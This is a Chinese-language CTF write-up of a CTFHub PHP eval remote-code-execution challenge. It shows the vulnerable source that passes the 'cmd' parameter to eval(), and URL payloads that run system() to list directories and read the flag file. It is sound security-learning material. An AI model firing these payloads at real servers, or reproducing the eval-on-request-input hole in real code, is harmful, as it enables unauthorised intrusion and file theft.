CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
李泽辉_1 天前
深度学习算法学习(一):梯度下降法和最简单的深度学习核心原理代码
深度学习·学习·算法
im_AMBER1 天前
Leetcode 99 删除排序链表中的重复元素 | 合并两个链表
数据结构·笔记·学习·算法·leetcode·链表
YangYang9YangYan1 天前
中专大数据技术专业学习数据分析的价值分析
大数据·学习·数据分析
testpassportcn1 天前
Fortinet FCSS_SDW_AR-7.4 認證介紹|Fortinet Secure SD-WAN 高級路由專家考試
网络·学习·改行学it
光影少年1 天前
vite为什么速度快?
前端·学习
zhutoutoutousan1 天前
氛围数学学习:用游戏化思维征服抽象数学
学习·算法·游戏
爱的瀚海天空1 天前
claude code使用学习记录--安装环境和程序
学习
创作者mateo1 天前
PyTorch 入门学习笔记(基础篇)一
pytorch·笔记·学习
温柔只给梦中人1 天前
深度学习:手动调整学习率
学习
hkNaruto1 天前
【AI】AI学习笔记:关于嵌入模型的切片大小,实际的业务系统中如何选择
人工智能·笔记·学习